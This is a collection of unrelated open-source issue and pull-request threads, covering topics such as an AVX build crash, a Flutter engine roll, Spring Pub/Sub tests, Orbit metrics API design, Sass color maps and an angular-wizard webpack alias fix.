#42 0x0000000000510497 in _PyEval_EvalCodeWithName ()
#43 0x00000000005f5be3 in PyEval_EvalCode ()
#44 0x0000000000619de7 in ?? ()
#45 0x0000000000615610 in ?? ()
#46 0x0000000000459cb3 in ?? ()
#47 0x0000000000459911 in PyRun_InteractiveLoopFlags ()
#48 0x00000000006194f5 in PyRun_AnyFileExFlags ()
#49 0x000000000044bca9 in ?? ()
#50 0x00000000005ea6e9 in Py_BytesMain ()
#51 0x00007ffff7c50d0a in __libc_start_main (main=0x5ea6b0, argc=1, argv=0x7fffffffe4f8, init=<optimized out>, fini=<optimized out>, rtld_fini=<optimized out>, stack_end=0x7fffffffe4e8) at ../csu/libc-start.c:308
#52 0x00000000005ea5ea in _start ()

2023.10.0b1 is also failing to start for me with an illegal instruction.

As i said on discord, it looks like upstream "solves" this issue by generating multiple static libraries with different features turned on and off. For example:
https://gitlab.freedesktop.org/pulseaudio/webrtc-audio-processing/-/blob/master/webrtc/common_audio/meson.build?ref_type=heads
Here common_audio_sse2 is built with common cflags and -msse2. common_audio_avx is built with common clags and -mavx2, -mfma. common_audio is built just with common cflags. These can be linked together without the avx2 optimisations "escaping" common_audio_avx.
AFAICT, we need to be able to do similar - the avx modules need to be built with avx, but the pybind stuff should not be built with avx. I have no idea how to do that with pybind11.

I was able to remove -mfma entirely from the build by patching out AVX2 detection. We'll just have to live with non-optimal convolutions :cry:


Patch to address http://jira.codehaus.org/browse/MSHADE-96

Instituted a cache so that a class isn't processed more than once during shading.

Is this patch still relevant? If so, reopen the issue and change your patch.


Roll engine 5646e86a6f44..453fc8f5124d (11 commits)

https://github.com/flutter/engine/compare/5646e86a6f44...453fc8f5124d
git log 5646e86a6f44..453fc8f5124d --no-merges --oneline
453fc8f51 Roll src/third_party/skia<PHONE_NUMBER>eb..eb4d641d9437 (10 commits) (flutter/engine#6825)
1f7399313 Roll src/third_party/skia c7a34cae21d2..0243949545eb (11 commits) (flutter/engine#6823)
06377b107 Document not passing empty-strings into Locale (flutter/engine#6818)
bdd5640f3 Roll src/third_party/skia 1c3f17fffa79..c7a34cae21d2 (2 commits) (flutter/engine#6821)
a5bc33546 Revert "Roll Dart version to f9ebf2129732fd2b606286fdf58e500384b8a0bc (#6812)" (flutter/engine#6820)
961930688 Roll src/third_party/skia 95af4726bf91..1c3f17fffa79 (1 commits) (flutter/engine#6819)
4dbdf94aa Ensure that the EGL rendering context is bound to the GPU thread in Rasterizer::MakeRasterSnapshot (flutter/engine#6816)
799ce8742 fix log (flutter/engine#6817)
3e4c8cca7 Roll src/third_party/skia ef4709b7850d..95af4726bf91 (22 commits) (flutter/engine#6815)
2584816d7 Roll Dart version to f9ebf2129732fd2b606286fdf58e500384b8a0bc (flutter/engine#6812)
9669aeb95 Roll src/third_party/skia 06a477c3300d..ef4709b7850d (31 commits) (flutter/engine#6811)
The AutoRoll server is located here: https://autoroll.skia.org/r/flutter-engine-flutter-autoroll
Documentation for the AutoRoller is here:
https://skia.googlesource.com/buildbot/+/master/autoroll/README.md
If the roll is causing failures, please contact the current sheriff, who should
be CC'd on the roll, and stop the roller if necessary.

@liyuqian : New roll has been created by https://autoroll.skia.org/r/flutter-engine-flutter-autoroll

Trybots failed. These were the failed builds: https://cirrus-ci.com/task/4791480155635712

Commit queue failed; closing this roll.


Adds missing unit tests

Also creates PublisherFactory and SubscriberFactory. Polishes code.
Fixes #45, #53

Few notes on this PR:

Unit tests for PubSubInboundChannelAdapter started getting too complicated, and I eventually dropped them. Reason is that Subscriber won't take in the right mocks to simulate an incoming message (I tried and gave up). The alternative is to run a local Google Cloud Pub/Sub emulator, which is prohibitive due to the requirement on Cloud SDK. Maybe you've got any hints for other avenues worth exploring?

DefaultPublisherFactory will create duplicate Publishers for the same topic, one per different sourceVersion (e.g., "spring", "spring-boot", "spring-integration", etc.). It's still unclear whether we can use versions like this, that aren't semantically versioned, so some work around specifying sourceVersion might need to be rolled back.

I'm now wondering if PubSubMessageHandler should depend on a PublisherFactory, the same way PubSubInboundChannelAdapter depends on a SubscriberFactory.

Just added a commit to get rid of clientLibVersions like "integration\0.0.1", and stick only to semver "0.0.1". That allowed us to make PubSubMessageHandler depend solely on PubSubTemplate.
For Spring Boot users, all should be fine and dandy, but I'm really worried about non-Boot users, and the amount of manual configuration they will need to do to set up a PublisherFactory and SubscriberFactory. Maybe we should provide alternative constructors for users of those classes, like PubSubMessageHandler, or create a helper to create them for us.
Also, I'm using the current import file but, when I optimize imports, I'm getting e.g., import org.mockito.Mockito.*, which is a bit annoying.

I'm requesting the google-cloud-pubsub team for a Subscriber that takes mocks which let us simulate an incoming message in https://github.com/GoogleCloudPlatform/google-cloud-java/issues/2205.

@artembilan

local emulator: we'll probably have to resort to something similar for integration tests. But for unit tests, spinning one up is probably too heavy, and it could be prohibitive for users who want to build this from source and don't have Cloud SDK installed.

client name/version: this is just a string like "spring[lib semantic version]" that we send in a header, so we can quantify the number of RPC calls originating from our Spring integrations. You're right that there are ways in which a user can override our ChannelProvider with theirs without this data, but I don't that's very likely to happen, and the amount of insight from the other users who didn't build the libs on their own is still very meaningful.

helpers: I'm not sure if having an abstraction such as SpringChannelProvider would be useful here since the concept of channel provider is specific to the Google Cloud Pubsub API (that is, they couldn't be easily reused by other Spring components/integrations). I still want to take a look at using helpers to aid non-Boot users, but this could probably be left to another PR since this one is already pretty sizeable?

@joaoandremartins ,

Well, that happens in many other our projects anyway. We run some kind of integration tests together with the unit tests and guard integration tests with mentioned @Rules. I have ran RabbitMQ, Kafka, MongoDB, Redis, MySQL etc. all the time on my machine. So, when I develop the project and run test I'm sure that everything works as expected because all those services. If there are no services, like in our CI env, the integration tests are ignored. The same I suggest here with the mentioned emulator. If some other developer runs our project without  Cloud SDK installed, he just won't have problems because of JUnit Rule.

OK. Fine with me to keep it as is.

SpringChannelProvider is not an abstraction. It is wrapper around target ChannelProvider (SpringChannelProvider implements ChannelProvider) with particular clientLib properties injection.
Really, let's deffer this discussion to the separate issue.

(This hope story about clientLib properties is annoying me a bit. We spend too much time around the fact that it can be simply overridden...)

@artembilan I will look into optionally running integration tests depending on whether Cloud SDK is installed in another issue. I like the SpringChannelProvider idea, we should also look into it in another issue.
Let me know if I missed any comment.


[NEW ICON] Prometheus

Skill Name
Prometheus
Why?
Prometheus is a well known monitoring system & time series database
Reference Image

it's already in the project, please look correctly the whole list if you want to do an icon sugggestion.

if you want to use it, do:
[![My Skills](https://skillicons.dev/icons?i=prometheus)](https://skillicons.dev)

which gives:

Oh wow, somehow I missed it. Sorry about that.

No problem ;) Here to help


Predicate functionality for Q objects

https://code.djangoproject.com/ticket/18931

Was there every any progress in getting this into Django core? This seems like a really useful feature, despite the caveats.

@samfrances look at https://github.com/django-predicate/django-predicate - it seems @lucaswiman took over the project and maintains it now

Taking over maintenance of that project, I think fully supporting python-evaluation of Q objects in all cases would require a substantial redesign of the ORM.
That said, django-predicate is useful for most cases. There are some oddities for complex queries combining ~ (negation) with | (disjunction) or & (conjunction), so I'd suggest testing your use case carefully before using it in a production application.


Metrics Capture & Preset, load & save

This is redoing PR #1907.
It now introduces ScopedMetric and uses it for capture and preset loading and saving metrics.
The comments from the last PR are also addressed.

Sorry, I completely missed this. I will have a look in a couple of minutes.

I did 2 things, ptal.

I changed the enum COMMAND_FAILURE to INTERNAL_ERROR. This is because of http://cl/360192320

I redid the API of MetricsUploader.h uploader a little bit. There are now these 3 overloads:

bool SendLogEvent(OrbitLogEvent_LogEventType log_event_type)
bool SendLogEvent(OrbitLogEvent_LogEventType log_event_type, std::chrono::milliseconds event_duration)
bool SendLogEvent(OrbitLogEvent_LogEventType log_event_type, std::chrono::milliseconds event_duration, OrbitLogEvent_StatusCode status_code)

Which internally all use bool MetricsUploaderImpl::FillAndSendLogEvent(OrbitLogEvent partial_filled_event). I am unsure about this design choice, maybe there is a better way of solving that. Making the method FillAndSendLogEvent(OrbitLogEvent) public is certainly an option, but I feel a weird about exposing this "the user has to create a half proto, and MetricsUploader does the rest" workflow.
Please let me know what you think

I did 2 things, ptal.

I changed the enum COMMAND_FAILURE to INTERNAL_ERROR. This is because of http://cl/360192320
I redid the API of MetricsUploader.h uploader a little bit. There are now these 3 overloads:

bool SendLogEvent(OrbitLogEvent_LogEventType log_event_type)
bool SendLogEvent(OrbitLogEvent_LogEventType log_event_type, std::chrono::milliseconds event_duration)
bool SendLogEvent(OrbitLogEvent_LogEventType log_event_type, std::chrono::milliseconds event_duration, OrbitLogEvent_StatusCode status_code)

Which internally all use bool MetricsUploaderImpl::FillAndSendLogEvent(OrbitLogEvent partial_filled_event). I am unsure about this design choice, maybe there is a better way of solving that. Making the method FillAndSendLogEvent(OrbitLogEvent) public is certainly an option, but I feel a weird about exposing this "the user has to create a half proto, and MetricsUploader does the rest" workflow.
Please let me know what you think

I think it's fine. But I also see Irina's point regarding the proto. In general I would argue that decoupling the protos from the API is good thing, but here we are using the enum declarations from the proto, so this doesn't really apply here. It's already coupled.
Furthermore you have to consider what "half-a-proto" means. Do all possible "halves" work? To me it looks like we need at least an event type, right? So I would prefer an API which clearly states what are the mandatory fields. And plain simple function arguments do that.

Are there situations when we want to set status code, but not duration? I mean that if we have n "optional" fields in OrbitLogEvent then amount of functions will be 2^n. I'm actually don't insist on half-proto solution, what I actually mean is that

we probably don't want to have too much functions
it should be easy to add a new field in OrbitLogEvent proto. It may be not applicable if we know for sure that we have only 2 "optional" fields (duration and status code for now), I just don't want that this fact stops us from adding "optional" fields if needed.

Since I dont see a solution without tradeoffs, I decided to leave everything as is for now. Currently its only 3 functions and I am unsure how many more will be added in the future. It might be changed rather sooner than later, but I am okay with that.


Supporting color maps?

Hi,
I was wondering if this kind of behavior is supported? Because as of now it doesn't seem to detect the hex values.
$colors: (   'primary': (     'base': #ff00ff,     'light': #00ff00,     'dark': #000   ) );
It works with plain old $variable declaration, just not with SASS maps.
Thanks

+1 for this functionality.

Hi @sebpelletier ,
what would be the desired output be? How should they be listed in Nucleus?
A suggestion:

Name: $colors('primary')('base')
Value: #ff00ff
Code to copy: map-get(map-get($colors, 'primary'), 'base');

Most likely, in codebases where color maps are used, you define a function that grants easy access to color values from the map. But that's nothing Nucleus should assume, so I would really like to hear your Idea on this.

My recommended approach would be to parse the map. e.g:
$palettes: (
  /** @color Palette Primary */
  primary: #ffffff,
  /** @color Palette Secondary */
  secondary: #ffffff,
  /** @color Palette Tertiary */
  tertiary: #ffffff
);

I like @Rhym 's approach, and ideally Nucleus should be able to parse the map function and get the color.
$palettes: (
    /** @map Palette of primary colors */
    primary: (
        /** @color Primary - base */
        base: #fff,
        /** @color Primary - compound */
        h1: #000,
    ),
    /** @map Palette of secondary colors */
    secondary: (
        /** @color Secondary - base */
        base: #eee,
        /** @color Secondary - h1 */
        h1: #ccc,
    ),
);

/* I don't think we need to 'document' this part, */
/* we are more interested in the actual colors */
@function brand($color, $tone: "base") {
    @return map-get(map-get($palettes, $color), $tone);
}

.card {
    background: brand(primary, h1);
    box-shadow: 0 2px brand(secondary);
}


feat(parseGhost): refactor offsets to be easier to understand

:tada: This PR is included in version 3.10.0 :tada:
The release is available on:

GitHub release
npm package (@latest dist-tag)

Your semantic-release bot :package::rocket:


Use OpenJDK in Travis

Try out OpenJDK 8, 11, and 12 in Travis...

This PR was a proof of concept, but I'm not going to merge it because it triples the Travis build time. If users have future issues with JDK 11 or JDK 12 we can relook at this.


Unable to load Angular-wizard via webpack

while adding angular-wizard using Webpack. I get the below error in the console.
adding dependency :  require('angular-wizard')
Error in the console:
Uncaught Error: [$injector:modulerr] Failed to instantiate module app due to: Error: [$injector:modulerr] Failed to instantiate module {} due to: Error: [ng:areq] Argument 'module' is not a function, got Object

Can you past some code snippets, or better yet make a fiddle so I can see your code.

I have an example for the issue
package.json:
{
  "name": "WebpackAngular",
  "version": "0.4.0",
  "main": "index.js",
  "scripts": {
    "start": "node node_modules/.bin/webpack-dev-server --content-base app --hot",
    "start-win": "node_modules\\.bin\\webpack-dev-server.cmd -—content-base app --hot"
  },

  "devDependencies": {
    "angular": "^1.4.8",
    "angular-formly": "^7.3.9",
    "angular-formly-templates-bootstrap": "^6.2.0",
    "angular-wizard": "^0.6.0",
    "api-check": "^7.5.5",
    "babel-core": "^6.3.26",
    "babel-loader": "^6.2.0",
    "webpack": "^1.12.9"
  }
}

webpack.config.js:
var path= require('path');

module.exports = {
  context: path.resolve('js'),
  entry: ['./index.js'],
  output:{
    path: path.resolve('build/js/'),
    publicPath: '/public/assets/js/',
    fileName: 'bundle.js'
  },

  devServer: {
    contentBase:'public'
  },

  module:{
    loaders:[
      {
        test: /\.js$/,
        exclude: '/node_modules',
        loader: 'babel-loader'
      }
    ]
  },
  resolve:{
    extensions:['','.js','.es6']
  }
};

index.html:
<!DOCTYPE html>

  <title>Test</title>

angular-formly example: {{vm.exampleTitle}}

        <form name="vm.form">
          <wizard on-finish="vm.finishWizard()">
            <wz-step title="Step 1" canexit="vm.exitValidation(vm.forms.step1)">

Step 1

              <formly-form model="vm.model" fields="vm.fields.step1" form="vm.forms.step1">

                  <button type="submit" ng-disabled="vm.forms.step1.$invalid" wz-next class="btn btn-primary submit-button">Next</button>

              </formly-form>
            </wz-step>
            <wz-step title="Confirm">

Confirm

Username: {{vm.model.email}}

First Name: {{vm.model.firstName}}

Last Name: {{vm.model.lastName}}

                <button type="submit" ng-disabled="vm.form.$invalid" wz-finish class="btn btn-primary submit-button">Confirm</button>

            </wz-step>
          </wizard>
        </form>

index.js
var angular = require('angular');

'formly', 'formlyBootstrap', 'mgo-angular-wizard'

var formly = require('angular-formly');
var formlyBootstrap =  require('angular-formly-templates-bootstrap');
var angularWizard= require('angular-wizard');

var app = angular.module('app',[formly, formlyBootstrap, angularWizard]);

app.controller('MainCtrl', function MainCtrl() {
  var vm = this;
  // funcation assignment
  vm.finishWizard = finishWizard;
  vm.exampleTitle = 'With angular-wizard'; // add this
  vm.model1 = {};
  vm.model2 = {};

  vm.exitValidation = function(form) {
    return form && !form.$invalid;
  };

  vm.fields = {
    step1: [
      {
        key: 'email',
        type: 'input',
        templateOptions: {
          label: 'Username',
          type: 'email',
          placeholder: 'Email address',
          required: true
        }
      }
    ]
  };

  vm.originalFields = angular.copy(vm.fields);

  // function definition
  function finishWizard() {
    alert(JSON.stringify(vm.model), null, 2);
  }
});

Looks like that because angular-wizard doesn't export the module as required by webpack, we have to include angular-wizard like a normal script tag. For that, I used script-loader and made the below changes to index.js file to work.
require('script!../node_modules/angular-wizard/dist/angular-wizard.js');

var app = angular.module('app',[formly, formlyBootstrap, 'mgo-angular-wizard'])

and now, the application is working as usual

Hi! @ankitprahladsoni @IshwaryaMullaiSelvapandian
I'm currently running Angular-Wizard in my Angular App with Webpack.  I couldn't reproduce this issue, but sounds like a config issue with Webpack.
Check your webpack.config.js
1: Inside the resolve block there's a modulesDirectory property where you can specify where Webpack will look  for your dependencies.
If you are using bower and npm this should look like this:
modulesDirectories: ['.', 'node_modules', 'bower_components'],

By default Webpack looks into node_modules folder

2: Angular-Wizard it's not a devDependency it's a dependency
3: Use alias
    resolve: {
        modulesDirectories: ['.', 'node_modules', 'bower_components'],
        alias: {
            'angular-animate': 'angular-animate/angular-animate.min.js',
            'angular-wizard': 'angular-wizard/dist/angular-wizard.min.js',
        }
    },

That's it. Once you set the alias call it by the alias. This is good way to resolve your modules manually avoiding issues.
Get back to me if you have any doubts. I'll be glad to help.

@IshwaryaMullaiSelvapandian does this solve your problem? Can we close the ticket?

Setting the alias solves the issue. Thank you for the explanation.

yes, the issue is solved by the setting the alias. you can close the ticket. Thank you!.